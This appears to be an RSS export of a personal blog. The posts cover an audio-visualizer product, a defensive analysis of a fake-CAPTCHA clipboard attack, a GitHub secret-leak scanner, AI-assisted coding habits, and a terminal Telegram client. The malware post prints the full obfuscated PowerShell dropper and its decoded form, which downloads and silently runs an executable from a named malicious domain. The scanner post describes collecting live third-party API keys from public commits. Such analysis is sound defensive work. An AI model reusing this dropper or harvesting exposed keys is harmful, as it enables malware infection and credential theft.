<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[sahil patel]]></title><description><![CDATA[sahil patel]]></description><link>https://blog.sahil.cloud</link><image><url>https://cdn.hashnode.com/uploads/logos/69d51c1e5da14bc70e62bfa5/08673b60-fdda-4e23-ab25-33b4ef95fd76.jpg</url><title>sahil patel</title><link>https://blog.sahil.cloud</link></image><generator>RSS for Node</generator><lastBuildDate>Sun, 17 May 2026 08:41:31 GMT</lastBuildDate><atom:link href="https://blog.sahil.cloud/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Building Visuals That Move With Sound : The Story Behind Shimga]]></title><description><![CDATA[There’s a reason most music visuals on social media look the same.
Not because creators lack creativity. But because the tools force them into the same workflow.
You upload audio. Pick a template. Exp]]></description><link>https://blog.sahil.cloud/building-visuals-that-move-with-sound-the-story-behind-shimga</link><guid isPermaLink="true">https://blog.sahil.cloud/building-visuals-that-move-with-sound-the-story-behind-shimga</guid><category><![CDATA[shimga]]></category><category><![CDATA[audio]]></category><category><![CDATA[visu]]></category><category><![CDATA[wave-lang]]></category><category><![CDATA[wavea]]></category><category><![CDATA[Waveform]]></category><category><![CDATA[free]]></category><category><![CDATA[Design]]></category><category><![CDATA[Premier League]]></category><category><![CDATA[gifts]]></category><category><![CDATA[Artificial Intelligence]]></category><dc:creator><![CDATA[Sahil Patel]]></dc:creator><pubDate>Sun, 03 May 2026 18:22:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d51c1e5da14bc70e62bfa5/c5145cab-9dfd-4d3d-bb41-565ad8c24139.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>There’s a reason most music visuals on social media look the same.</p>
<p>Not because creators lack creativity. But because the tools force them into the same workflow.</p>
<p>You upload audio. Pick a template. Export. Wait. Repeat.</p>
<p>At some point, I stopped blaming creators, and started questioning the tools.</p>
<p>That’s where <a href="https://shimga.app">Shimga</a> started.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d51c1e5da14bc70e62bfa5/64cec62f-2f8e-4c6d-a9a7-d1d7d24ae76c.png" alt="" style="display:block;margin:0 auto" />

<p>The Real Use Case Nobody Talks About</p>
<p>When I began working on Shimga, I wasn’t trying to build “an audio visualizer.”</p>
<p>I was trying to solve something much more specific:</p>
<p>How do you turn raw audio into social media–ready visuals instantly?</p>
<p>Because today, creators aren’t just making music.</p>
<p>They’re making:</p>
<p>Podcast clips Instagram reels YouTube visuals Spotify canvases Short-form content</p>
<p>And all of it needs fast, clean, visual output.</p>
<p>That’s exactly what Shimga focuses on.</p>
<p>What Shimga Actually Does (And Why It Matters)</p>
<p>At its core, Shimga is a browser-based audio visualizer and generator system.</p>
<p>You:</p>
<p>Upload your audio (MP3, WAV, etc.) Choose from 50+ presets Customize visuals Export instantly in 1080p or 4K</p>
<p>Everything runs locally in your browser. Your files never leave your device.</p>
<p>That last part matters more than people realize.</p>
<p>No uploads. No delays. No privacy risks.</p>
<p>Just direct creation.</p>
<p>Designed for Social Media First (Not Editing Software Users)</p>
<p>Most tools are built like editing software.</p>
<p>Shimga is not.</p>
<p>It’s built for:</p>
<p>Creators posting daily Musicians uploading tracks Podcasters clipping conversations Indie artists building presence</p>
<p>This is why Shimga supports:</p>
<p>16:9 (YouTube) 9:16 (Reels, TikTok, Shorts) 1:1 (Instagram)</p>
<p>Because format flexibility is not optional anymore.</p>
<p>It’s the baseline.</p>
<p>The Shift From Editing to Generating</p>
<p>Traditional tools expect you to edit visuals.</p>
<p>Shimga focuses on generating them.</p>
<p>That difference changes everything.</p>
<p>Instead of tweaking settings endlessly, you:</p>
<p>Drop audio Select a preset Adjust styling Export</p>
<p>This aligns with how modern creators actually work:</p>
<p>Fast. Iterative. Output-focused.</p>
<p>Why Audio Visualizers Alone Are Not Enough</p>
<p>While building Shimga, one thing became obvious:</p>
<p>Audio visualizers are just the beginning.</p>
<p>The real opportunity is in generators.</p>
<p>That’s why I recently added:</p>
<p>→ <a href="https://shimga.app/sound-wave-art-generator">Sound Wave Art Generator</a></p>
<img src="https://cdn.hashnode.com/uploads/covers/69d51c1e5da14bc70e62bfa5/e65f9e3f-8e70-46f1-95bd-4e0fe4b45f8b.png" alt="" style="display:block;margin:0 auto" />

<p>A tool that converts audio into visual waveform art and not just videos.</p>
<p>This is where things get interesting.</p>
<p>Sound Wave Art: More Than Just Aesthetic</p>
<p>Sound wave art is not new.</p>
<p>Platforms like Wavevisual already allow users to create personalized waveform visuals from audio.</p>
<p>But most tools in this space focus on:</p>
<p>Static outputs Limited customization Premium pricing models</p>
<p>That’s where I saw the gap.</p>
<p>What Makes Shimga’s Wave Art Generator Different</p>
<p>The goal wasn’t to replicate.</p>
<p>It was to improve the system.</p>
<p>Shimga’s sound wave art generator focuses on:</p>
<ol>
<li>Speed</li>
</ol>
<p>Instant waveform generation directly in browser.</p>
<ol>
<li>Simplicity</li>
</ol>
<p>No complex editor. Just input → output.</p>
<ol>
<li>Flexibility</li>
</ol>
<p>Works with music, podcasts, voice recordings.</p>
<ol>
<li>Accessibility</li>
</ol>
<p>Designed to be cheaper and more usable.</p>
<ol>
<li>Integration</li>
</ol>
<p>Part of a larger visual ecosystem and not a standalone tool.</p>
<p>The Bigger Insight: Audio Is Content, But Visuals Drive Reach</p>
<p>Platforms like Instagram, YouTube, and TikTok are visual-first.</p>
<p>Even audio content needs visuals to perform.</p>
<p>That’s why tools like Kapwing emphasize turning audio into <mark class="bg-yellow-200 dark:bg-yellow-500/30">“scroll-stopping videos”</mark> for social media.</p>
<p>Same with other generators, they all move toward:</p>
<p>Audio → Visual → Engagement</p>
<p>Shimga is built exactly in that pipeline.</p>
<p>The Technical Backbone (Simplified)</p>
<p>Behind the scenes, Shimga uses:</p>
<p>Real-time audio analysis Frequency decomposition (FFT) GPU-accelerated rendering</p>
<p>It essentially breaks audio into:</p>
<p>Bass Mid Treble</p>
<p>And maps those signals into visuals dynamically.</p>
<p>This is what makes visuals feel “alive” instead of static.</p>
<p>Privacy as a Core Feature (Not Marketing)</p>
<p>One of the strongest decisions I made:</p>
<p>Everything runs locally.</p>
<p>Your audio:</p>
<p>Is never uploaded Never stored Never processed on external servers(free version only)</p>
<p>That’s not just a feature, it’s a guarantee.</p>
<p>Even the paid version will store your data only while you are active on the app. If you are inactive for more than six months, it will be deleted.</p>
<p>Especially important for:</p>
<p>Unreleased music Client projects Private recordings Where Shimga Fits in the Market</p>
<p>Let’s be direct.</p>
<p>There are already tools like:</p>
<p>Kapwing ,VEED, Wavevisual</p>
<p>They work. They’re solid.</p>
<p>But they follow a pattern:</p>
<p>Editor-first Cloud-heavy Multi-step workflows</p>
<p>Shimga is different:</p>
<p>Generator-first Browser-native Fast pipeline</p>
<p>That difference is the entire strategy.</p>
<p>Why This Direction Matters</p>
<p>Content creation is accelerating.</p>
<p>Creators don’t want:</p>
<p>More features More buttons More complexity</p>
<p>They want:</p>
<p>Faster output Better visuals Less friction</p>
<p>Shimga is built around that.</p>
<p>Founder Perspective</p>
<p>I didn’t start Shimga to compete on features.</p>
<p>I started it because the workflow didn’t make sense.</p>
<p>Too many steps. Too much waiting. Too much overhead.</p>
<p>So I stripped it down to:</p>
<p>Input → Generate → Export</p>
<p>That’s it.</p>
<p>What’s Next</p>
<p>The roadmap is clear:</p>
<p>Better generators Smarter presets More adaptive visuals Expanded wave art capabilities</p>
<p>Not by adding complexity.</p>
<p>But by refining the system.</p>
<p>Final Thought</p>
<p>Audio is no longer just something you hear.</p>
<p>It’s something you see, share, and scale.</p>
<p>And the tools that win will be the ones that make that transition effortless.</p>
<p>That’s what Shimga is built for.</p>
]]></content:encoded></item><item><title><![CDATA[Unmasking the "Fake CAPTCHA" Attack: Deconstructing a Clipboard-Hijacking PowerShell Dropper]]></title><description><![CDATA[Social engineering tactics are constantly evolving, and one of the most insidious trends currently sweeping the web is the **Fake CAPTCHA Attack**. Unlike traditional phishing that asks for credential]]></description><link>https://blog.sahil.cloud/unmasking-the-fake-captcha-attack-deconstructing-a-clipboard-hijacking-powershell-dropper</link><guid isPermaLink="true">https://blog.sahil.cloud/unmasking-the-fake-captcha-attack-deconstructing-a-clipboard-hijacking-powershell-dropper</guid><dc:creator><![CDATA[Sahil Patel]]></dc:creator><pubDate>Sat, 25 Apr 2026 01:31:52 GMT</pubDate><content:encoded><![CDATA[<p>Social engineering tactics are constantly evolving, and one of the most insidious trends currently sweeping the web is the **Fake CAPTCHA Attack**. Unlike traditional phishing that asks for credentials, this attack tricks users into inadvertently executing malicious code directly on their own machines using their clipboard.</p>
<p>Recently, I captured a live sample of this attack in the wild. A user was browsing a compromised website when a random tab opened automatically, displaying a highly convincing, fake CAPTCHA verification page.</p>
<p>In this deep dive, we are going to tear down exactly how this attack works, analyze the obfuscated dropper script, decode the payload, and map out the threat actor's execution flow.</p>
<p>## 1. The Initial Compromise: Clipboard Hijacking</p>
<p>The attack begins with a simple, seemingly harmless instruction: "Press Win + R, Ctrl + V, and Enter to verify you are human."</p>
<p>When the victim clicks anywhere on the fake CAPTCHA page, a hidden JavaScript event triggers in the background. This script hijacks the operating system's clipboard and silently injects a massive, obfuscated PowerShell command into it.</p>
<p>If the user follows the instructions—opening the Windows Run dialog (Win + R) and pasting the contents (Ctrl + V)—they unknowingly execute a malicious downloader right under the nose of their antivirus software.</p>
<p>## 2. The Raw Dropper: Analyzing the Obfuscated Code</p>
<p>When inspecting the clipboard history (via Win + V), the following PowerShell command was discovered. This is the exact code injected by the malicious website:</p>
<p>```powershell</p>
<p>&lt;# Verification code: EEDA49971446 #&gt; \(w23='1dYSBiC';\)x24='15122c652b10240c4302003b1a375409771d271d6d62012b252b0a26610b303d3624225f053e363034790b373c30371b2a451d09212d1d2c520b356e193a3a42103c3e6c2726454a0a36211c31581020033006375e07363f1610335439636916053000566277215a7e7b0b303d6f3922450c79772707350b301c1e12496b6a372020360c2e1f2d167d12083759396369050c37630537372d040558083c1d230426194d70680c0c341c2d2d362f496e78103c3e16103354441d3a300c20450b2b2a62441350103173660a7011491f3c300a264d2b2c276f27365d086277265d7e7b0b303d6f3922450c7977215a63193f0a2a311d265c4a101c6c3922450c0469782e264536383d26062e770d35360c082e544c7078654e6d541c3c7465407815016c6e7252255e167177245f7e015f7d3574496e5d1079606244225f00797e2c063711403c66794d25074f727a391d31481f103d34062854490e36203b2640113c2036496e64163073654e2b4510292078466c5b0d3a3a2c1f26421034362c1d301f09363d311d26434b38232b462a5f003c2b6c192b415b386e260565450b32362c5470000568367a0a7307516861730d7705523c6373512252516a617b0a7b065c6d67755f2008056d6474587155076d6a735c7600056e36755e7655006d31750d7417172b307f1b265205292721012217073b6e2101315e093c75300c250c0c2d27321a6602257c61044c71770f3c2a38062d54083c3230076d5c0b3720360c3114561f752f062754592b3621083345073132654e631c2b2c2704002f54447d3776496e64173c11231a2a5234382131002d565f30356a3d2642107403231d2b11403d676b1267545164623f0c2f4201220036083145490a3f270c3311490a3621062d551779613f142050103a3b393a3750162d7e1105265414797e110c205e0a3d20625b3e4c5f30356a442d5e10797b160c304549093236016315006d7a6b1226490d2d2e793a3750162d7e121b2c52012a2062440558083c03231d2b11403d67624414580a3d3c353a3748083c730a002755013768361b3a4a363c3e2d1f261c2d2d362f496e7d0d2d3630082f61052d3b624d27054474152d1b2054447416301b2c43253a272b062d1137303f2707375d1d1a3c2c1d2a5f113c2e210837520c222e794e7862103821364413430b3a36311a631c33303d2606346210203f27490b58003d362c49335e133c213101265d08797e031b2444093c3d36252a421079746f272c611636352b052616487e7e15002d550b2e0036102f544375740a0027550137746e4e6e720b343e23072716487d25375f2a480362363a0037';\(y25='';for(\)z26=0;\(z26 -lt \)x24.Length;\(z26+=2){\)y25+=char};iex $y25</p>
<p>```</p>
<p>At first glance, this is gibberish. The attackers intentionally added a fake comment (&lt;# Verification code: EEDA49971446 #&gt;) to make it look like a legitimate system verification if the user happened to read it.</p>
<p>The core of the obfuscation lies in \(w23 (the key) and \)x24 (the hexadecimal payload).</p>
<p>## 3. Demystifying the Cryptography: XOR Encoding</p>
<p>The script uses a cryptographic technique known as **XOR (Exclusive OR) encoding**. Let's break down how it works.</p>
<p>### For the Beginners: What is XOR?</p>
<p>Imagine you have a secret message and a key. XOR is like a digital magic trick. If you mix your message with the key, it turns into completely unreadable nonsense. However, the beauty of XOR is that it is perfectly reversible. If you take that unreadable nonsense and mix it with the exact same key again, your original message pops right back out.</p>
<p>The attacker used the key "1dYSBiC" to scramble their malicious instructions into the long string of numbers and letters you see in $x24.</p>
<p>### For the Pros: Technical Breakdown</p>
<p>The obfuscation relies on a simple bitwise XOR operation against a static 7-byte ASCII key.</p>
<p>1. The script initializes an empty string $y25.</p>
<p>2. A for loop iterates through the hexadecimal string $x24 in chunks of 2 (representing single bytes).</p>
<p>3. It converts each hex pair into an integer, aligns it against the repeating string $w23 (1dYSBiC), and applies the XOR operator (^).</p>
<p>4. The resulting character is appended to $y25.</p>
<p>5. Finally, the script executes the decoded string in memory using iex (Invoke-Expression), meaning the decrypted code never actually touches the victim's hard drive.</p>
<p>Security analysts can rapidly decrypt payloads like this using a simple Python script:</p>
<p>```python</p>
<p>key = '1dYSBiC'</p>
<p>hex_str = '15122c652b10240c43...' # (Full hex string goes here)</p>
<p>decoded = ''</p>
<p>for i in range(0, len(hex_str), 2):</p>
<p>byte = int(hex_str[i:i+2], 16)</p>
<p>key_idx = (i // 2) % len(key)</p>
<p>key_byte = ord(key[key_idx])</p>
<p>decoded += chr(byte ^ key_byte)</p>
<p>print(decoded)</p>
<p>```</p>
<p>## 4. The Decoded Payload: The Execution Flow</p>
<p>Running the decryption logic reveals the true intent of the malware. Here is the unmasked PowerShell payload:</p>
<p>```powershell</p>
<p>$vu6iyg='[System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtocolType]::Tls12;</p>
<p>\(c3=Join-Path \)env:TEMP ([System.IO.Path]::GetRandomFileName());</p>
<p>New-Item -ItemType Directory -Path $c3 -Force|Out-Null;</p>
<p>\(d4=Join-Path \)c3 ([System.IO.Path]::GetRandomFileName()+''.exe'');</p>
<p>$e5=0;</p>
<p>for(\(f6=0;\)f6 -lt 3 -and -not \(e5;\)f6++){</p>
<p>try{</p>
<p>Invoke-WebRequest -Uri ''<a href="https://jicinvestments.monster/api/index.php?a=dl&amp;token=31a1e8c065121d446e018ac5329c8784476c9a47612dc491551a7e775dd4b7d7&amp;src=recaptcha&amp;cb=chrome&amp;ref=https%3A%2F%2Fkeyzonelearn.monster%2F&amp;mode=recaptcha">https://jicinvestments.monster/api/index.php?a=dl&amp;token=31a1e8c065121d446e018ac5329c8784476c9a47612dc491551a7e775dd4b7d7&amp;src=recaptcha&amp;cb=chrome&amp;ref=https%3A%2F%2Fkeyzonelearn.monster%2F&amp;mode=recaptcha</a>'' -OutFile $d4 -UseBasicParsing;</p>
<p>if(Test-Path \(d4){\)e5=1}</p>
<p>else{Start-Sleep -Seconds 2}</p>
<p>}catch{Start-Sleep -Seconds 2}</p>
<p>};</p>
<p>if(-not (Test-Path $d4)){exit};</p>
<p>Start-Process -FilePath $d4 -WindowStyle Hidden;</p>
<p>try{Remove-Item -LiteralPath $d4 -Force -ErrorAction SilentlyContinue}catch{};';</p>
<p>Start-Process -WindowStyle Hidden powershell -ArgumentList '-NoProfile','-WindowStyle','Hidden','-Command',$vu6iyg;</p>
<p>exit</p>
<p>```</p>
<p>### Step-by-Step Analysis</p>
<p>1. **Enforcing TLS 1.2:** [System.Net.ServicePointManager]::SecurityProtocol = ... Tls12</p>
<p>The attacker forces PowerShell to use TLS 1.2. This ensures the connection to their malicious server doesn't fail on older Windows systems that might default to outdated protocols.</p>
<p>2. **Staging Area:** \(c3=Join-Path \)env:TEMP</p>
<p>It creates a dynamically named, hidden folder inside the user's %TEMP% directory to house the executable.</p>
<p>3. **The Fetch:** Invoke-WebRequest -Uri '<a href="https://jicinvestments.monster">https://jicinvestments.monster</a>...'</p>
<p>The script reaches out to a suspicious .monster domain. Notice the URL parameters: src=recaptcha and cb=chrome. The threat actors are meticulously tracking their campaigns, logging exactly which fake CAPTCHA vector and which browser resulted in a successful compromise.</p>
<p>4. **Persistence/Retry Logic:** The for loop attempts the download up to 3 times, sleeping for 2 seconds upon failure, ensuring maximum reliability.</p>
<p>5. **Stealth Execution:** Start-Process -FilePath $d4 -WindowStyle Hidden;</p>
<p>Once downloaded, the .exe is launched invisibly in the background. The user sees absolutely nothing.</p>
<p>6. **Covering Tracks:** Remove-Item -LiteralPath $d4 -Force...</p>
<p>Finally, it deletes the downloaded executable to thwart forensic analysis.</p>
<p>## 5. The Threat Landscape: What is the payload?</p>
<p>While the PowerShell script only acts as a "dropper" (a vehicle to bring the real malware in), the behaviors and domains (.monster TLDs) are hallmark indicators of **InfoStealers** (such as LummaC2, RedLine, or Vidar).</p>
<p>Given the current threat landscape, payloads delivered via this method are almost exclusively designed to quietly siphon passwords, session cookies, and—most importantly—drain browser-based cryptocurrency wallets. Once executed, the stealer zips up this data and exfiltrates it to a command-and-control server within seconds.</p>
<p>## Conclusion: Did you dodge the bullet?</p>
<p>If you ever encounter a strange page asking you to copy and paste code into a terminal, **do not do it.** However, if you only clicked the page and copied the text to inspect it (like the subject of our case study), but **did not** manually run it in CMD, Win+R, or PowerShell, **you are completely safe.** Merely having text in your clipboard does not execute code. The absence of mysterious files in your Downloads folder or random command prompt flashes confirms that the payload remained dormant.</p>
<p>*Always stay vigilant. The barrier between</p>
<p>a safe browsing session and total system compromise is often just a simple Ctrl+V.*</p>
]]></content:encoded></item><item><title><![CDATA[I Built a GitHub Secret Leak Scanner After My Own API Key Was Exposed — What Happened Next Changed How I See Public Code Forever]]></title><description><![CDATA[It started with a mistake that cost attention.
My own credentials were exposed.
Not because of some advanced breach.
Not because of malware.
Just a simple developer mistake — a secret that should neve]]></description><link>https://blog.sahil.cloud/api-secrets-leaks-scanner</link><guid isPermaLink="true">https://blog.sahil.cloud/api-secrets-leaks-scanner</guid><category><![CDATA[leaks]]></category><category><![CDATA[GitHub]]></category><category><![CDATA[privacy]]></category><category><![CDATA[Security]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[Private Cloud]]></category><category><![CDATA[repository]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Malware]]></category><category><![CDATA[mistakes]]></category><dc:creator><![CDATA[Sahil Patel]]></dc:creator><pubDate>Sun, 12 Apr 2026 15:57:41 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d51c1e5da14bc70e62bfa5/d3eebf82-3747-427b-81b9-1dfc48169e60.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>It started with a mistake that cost attention.</p>
<p>My own credentials were exposed.</p>
<p>Not because of some advanced breach.</p>
<p>Not because of malware.</p>
<p>Just a simple developer mistake — a secret that should never have entered version control.</p>
<p>That moment changed how I looked at commits permanently.</p>
<p>Because once something enters public Git history, deletion is not protection anymore.</p>
<p>The history remains.</p>
<p>Forks remain.</p>
<p>Mirrors remain.</p>
<p>Anyone watching public events can see it before the owner even realizes what happened.</p>
<p>That was the exact reason I built my own secret leak scanner.</p>
<p>At first, the goal was personal:</p>
<p><strong>Protect my own workflow. Detect leaks before they become damage.</strong></p>
<p>But while building it, one thought became impossible to ignore:</p>
<p>If this can protect my own commits, then technically the same logic applies to every public repository being pushed right now.</p>
<p>So I expanded it.</p>
<p>I connected the script to GitHub public push events.</p>
<p>Pulled fresh commits.</p>
<p>Parsed only newly added lines.</p>
<p>Ignored noise.</p>
<p>Filtered hashes.</p>
<p>Matched known secret structures.</p>
<p>Measured entropy.</p>
<p>And pushed detections directly to Telegram in real time.</p>
<p>Then I left it running overnight on my local machine.</p>
<p>What came back was far beyond what I expected.</p>
<h2>Overnight, More Than 30 Live Secrets Appeared</h2>
<p>By morning, the script had collected more than 30 exposed credentials.</p>
<p>Not fake strings.</p>
<p>Not dead examples.</p>
<p>Live credentials inside public repositories.</p>
<p>Most were committed accidentally inside:</p>
<ul>
<li><p><code>.env</code> files</p>
</li>
<li><p>config files</p>
</li>
<li><p>temporary test commits</p>
</li>
<li><p>forgotten debug code</p>
</li>
</ul>
<p>The pattern was almost always the same:</p>
<p>A developer forgot one protection layer:</p>
<ul>
<li><p>forgot <code>.gitignore</code></p>
</li>
<li><p>pushed test code</p>
</li>
<li><p>committed environment values</p>
</li>
<li><p>assumed deletion later would fix it</p>
</li>
</ul>
<p>But public commit streams move faster than cleanup.</p>
<h2>The Most Disturbing Part: Many Keys Were Still Fully Active</h2>
<p>Several exposed credentials were still valid when checked.</p>
<p>Different providers.</p>
<p>Different repositories.</p>
<p>Different owners.</p>
<p>And many still had available quota.</p>
<p>That is the moment where the real security question appears:</p>
<p>If one person running a local overnight script can discover this volume of exposed secrets, what happens when industrial-scale automated scanners are watching continuously?</p>
<p>Because they already are.</p>
<p>This is not hypothetical.</p>
<p>Public repositories are monitored continuously by bots, scanners, and automated systems.</p>
<p>The window between leak and exploitation is often measured in minutes.</p>
<p>Sometimes less.</p>
<h2>One Repository Owner Changed Everything for Me</h2>
<p>In one case, I contacted a repository owner directly.</p>
<p>I informed him that his credential was exposed publicly.</p>
<p>His first reaction was confusion.</p>
<p>Then concern.</p>
<p>Then one immediate question:</p>
<p><strong>"How did you even find this?"</strong></p>
<p>The answer was simple:</p>
<p>A script.</p>
<p>Nothing extraordinary.</p>
<p>No private access.</p>
<p>No exploit.</p>
<p>Just reading public push data.</p>
<p>He removed the repository history immediately.</p>
<p>That interaction changed my perspective.</p>
<p>Because what felt extraordinary at first was actually normal infrastructure in security ecosystems.</p>
<h2>Then I Realized This Entire Category Already Exists Publicly</h2>
<p>After digging deeper, I found many public projects already doing similar work:</p>
<ul>
<li><p>secret scanners</p>
</li>
<li><p>commit monitors</p>
</li>
<li><p>token detectors</p>
</li>
<li><p>entropy-based leak finders</p>
</li>
</ul>
<p>Some far more advanced than what I built.</p>
<p>Meaning this capability is not hidden.</p>
<p>It is openly available.</p>
<p>Widely known.</p>
<p>Already used.</p>
<p>That realization removed the illusion that this was unusual.</p>
<p>The real issue is not whether such scanners exist.</p>
<p>The real issue is how often developers still underestimate how fast public exposure happens.</p>
<h2>Why I Finally Published My Own Version</h2>
<p>Initially, I kept the tool private.</p>
<p>Because it felt sensitive.</p>
<p>But after seeing how many public scanners already exist, publishing became a documentation decision rather than secrecy.</p>
<p>The project is now public as:</p>
<p><strong>Multi-API-Leaks-Finder</strong></p>
<p>It monitors:</p>
<ul>
<li><p>GitHub public push events</p>
</li>
<li><p>commit patches</p>
</li>
<li><p>added lines only</p>
</li>
<li><p>secret patterns</p>
</li>
<li><p>entropy signals</p>
</li>
<li><p>Telegram alerts</p>
</li>
</ul>
<p>Supported detections currently include:</p>
<ul>
<li><p>OpenAI keys</p>
</li>
<li><p>Anthropic keys</p>
</li>
<li><p>Google API keys</p>
</li>
<li><p>Groq keys</p>
</li>
</ul>
<h2>The Reality: Detection Systems Are Becoming Faster Than Developers Realize</h2>
<p>At one point, I accidentally exposed one of my own test keys.</p>
<p>Within minutes, an automated alert arrived.</p>
<p>The provider had already detected the leak.</p>
<p>Revocation became immediate.</p>
<p>That confirmed something important:</p>
<p>The ecosystem is evolving fast.</p>
<p>Providers are watching.</p>
<p>Attackers are watching.</p>
<p>Automation is everywhere.</p>
<p>Which means developers must assume this:</p>
<p><strong>The moment a secret becomes public, detection has already started.</strong></p>
<h2>Final Thought</h2>
<p>The lesson was never that secret scanners are powerful.</p>
<p>The lesson is that public code is observed much more aggressively than most people imagine.</p>
<p>One accidental push can become someone else's free infrastructure.</p>
<p>And most leaks still happen through ordinary human behavior, not advanced failure.</p>
<p>That is exactly why secret hygiene must become default engineering behavior, not optional cleanup.</p>
<p>GitHub repository:</p>
<p><a href="https://github.com/sahilpatel0x01/Multi-API-Leaks-Finder">GITHUB REPO LINK</a></p>
]]></content:encoded></item><item><title><![CDATA[The Vibe Coding Trap: When It Feels Like You’re Building Fast but Actually Learning Nothing]]></title><description><![CDATA[For some time I thought I was moving fast.
Project after project looked finished.
UI was there. Features were there. Things were running.
It looked like progress.
But internally there was a problem:
I]]></description><link>https://blog.sahil.cloud/the-vibe-coding-trap-when-it-feels-like-you-re-building-fast-but-actually-learning-nothing</link><guid isPermaLink="true">https://blog.sahil.cloud/the-vibe-coding-trap-when-it-feels-like-you-re-building-fast-but-actually-learning-nothing</guid><category><![CDATA[programing]]></category><category><![CDATA[Productivity]]></category><category><![CDATA[Software Engineering]]></category><category><![CDATA[learning]]></category><category><![CDATA[Career]]></category><dc:creator><![CDATA[Sahil Patel]]></dc:creator><pubDate>Wed, 08 Apr 2026 05:00:00 GMT</pubDate><content:encoded><![CDATA[<p>For some time I thought I was moving fast.</p>
<p>Project after project looked finished.</p>
<p>UI was there. Features were there. Things were running.</p>
<p>It looked like progress.</p>
<p>But internally there was a problem:</p>
<p>I had almost no ownership over what I had built.</p>
<p>A large part of it came from prompts, generated code, copied structures, quick fixes, and stacking solutions until the output looked complete.</p>
<p>At first this feels powerful.</p>
<p>You type what you want.</p>
<p>Something appears.</p>
<p>You fix a few errors.</p>
<p>Push it.</p>
<p>And your brain tells you:</p>
<p><strong>I built this.</strong></p>
<p>But after some point reality starts showing up.</p>
<p>Someone asks:</p>
<p>Why this architecture?</p>
<p>Why this dependency?</p>
<p>Why this pattern?</p>
<p>Why this bug happens?</p>
<p>And suddenly you realize:</p>
<p>You can run it.</p>
<p>You cannot explain it.</p>
<p>That is where the trap starts.</p>
<hr />
<h2>Why vibe coding feels dangerous only later</h2>
<p>The dangerous part is not that generated code is bad.</p>
<p>The dangerous part is speed creates false confidence.</p>
<p>Because visible output comes faster than internal understanding.</p>
<p>The project looks alive.</p>
<p>But skill growth stays shallow.</p>
<p>This creates a strange illusion:</p>
<p>You feel productive while foundational weakness remains untouched.</p>
<hr />
<h2>What happened in my own case</h2>
<p>I built projects.</p>
<p>Some looked serious enough to show publicly.</p>
<p>But when I looked deeper, many parts were not truly mine in understanding.</p>
<p>I knew how to trigger results.</p>
<p>I did not fully know how to rebuild them cleanly from scratch without assistance.</p>
<p>That difference matters a lot.</p>
<p>Because interviews do not test whether something once worked.</p>
<p>They test whether you understand why it works.</p>
<hr />
<h2>The hidden cost</h2>
<p>When too much is generated too early:</p>
<ul>
<li><p>debugging becomes painful</p>
</li>
<li><p>code feels foreign</p>
</li>
<li><p>confidence collapses during modification</p>
</li>
<li><p>every new feature becomes dependent on external help</p>
</li>
</ul>
<p>Then even a small bug can feel bigger than it should.</p>
<p>Because the system underneath was never fully absorbed.</p>
<hr />
<h2>Why this trap is common now</h2>
<p>Because modern tools are extremely good.</p>
<p>They remove friction so well that they also remove struggle.</p>
<p>But struggle is where engineering memory forms.</p>
<p>Without struggle, concepts do not settle deeply.</p>
<p>Fast output can hide missing foundations for a long time.</p>
<hr />
<h2>What changed my thinking</h2>
<p>I understood something simple:</p>
<p>A project that takes longer but is understood fully has more long-term value than ten projects that only look complete.</p>
<p>Now if I build something:</p>
<p>I try to stop and ask:</p>
<ul>
<li><p>Can I explain every file?</p>
</li>
<li><p>Can I rebuild core logic myself?</p>
</li>
<li><p>Can I remove one dependency if needed?</p>
</li>
<li><p>Can I defend design choices?</p>
</li>
</ul>
<p>If answer is weak, then the project is not complete internally.</p>
<hr />
<h2>Vibe coding is useful — but only in the right layer</h2>
<p>It is powerful for:</p>
<ul>
<li><p>boilerplate</p>
</li>
<li><p>repetitive setup</p>
</li>
<li><p>quick prototypes</p>
</li>
<li><p>rough exploration</p>
</li>
</ul>
<p>It becomes dangerous when it replaces thinking.</p>
<p>Because then the project grows faster than the engineer.</p>
<p>And that gap eventually becomes visible.</p>
<hr />
<h2>The uncomfortable truth</h2>
<p>A working project is not proof of mastery.</p>
<p>Sometimes it is only proof that tools are powerful.</p>
<p>Real skill starts when the tool disappears and the logic still remains inside your head.</p>
<hr />
<h2>What I am doing now</h2>
<p>Less rushing.</p>
<p>More rebuilding.</p>
<p>More understanding simple things deeply.</p>
<p>Because eventually depth compounds more than speed.</p>
<p>And shallow speed always hits a wall.</p>
<hr />
<h2>Final thought</h2>
<p>The biggest trap was not generated code.</p>
<p>It was believing output automatically meant progress.</p>
<p>Sometimes progress is slower, uglier, and harder.</p>
<p>But it stays.</p>
]]></content:encoded></item><item><title><![CDATA[I Built Telegram Inside My Terminal Using Python ]]></title><description><![CDATA[Most people open Telegram with a mouse.
I wanted arrow keys, raw speed, and zero distractions.
So I built Telegram Terminal Lite — a minimal Python-based Telegram client that lets me browse chats, gro]]></description><link>https://blog.sahil.cloud/i-built-telegram-inside-my-terminal-using-python</link><guid isPermaLink="true">https://blog.sahil.cloud/i-built-telegram-inside-my-terminal-using-python</guid><category><![CDATA[Python]]></category><category><![CDATA[telegram]]></category><category><![CDATA[cli]]></category><category><![CDATA[Open Source]]></category><category><![CDATA[Developer Tools]]></category><dc:creator><![CDATA[Sahil Patel]]></dc:creator><pubDate>Tue, 07 Apr 2026 15:39:19 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d51c1e5da14bc70e62bfa5/42880c64-e026-4a77-ba4b-a6eb647ad05b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Most people open Telegram with a mouse.</p>
<p>I wanted arrow keys, raw speed, and zero distractions.</p>
<p>So I built <strong>Telegram Terminal Lite</strong> — a minimal Python-based Telegram client that lets me browse chats, groups, channels, bots, and recent messages directly inside the terminal using a clean interactive CLI.</p>
<hr />
<h2>Why build this when Telegram already exists?</h2>
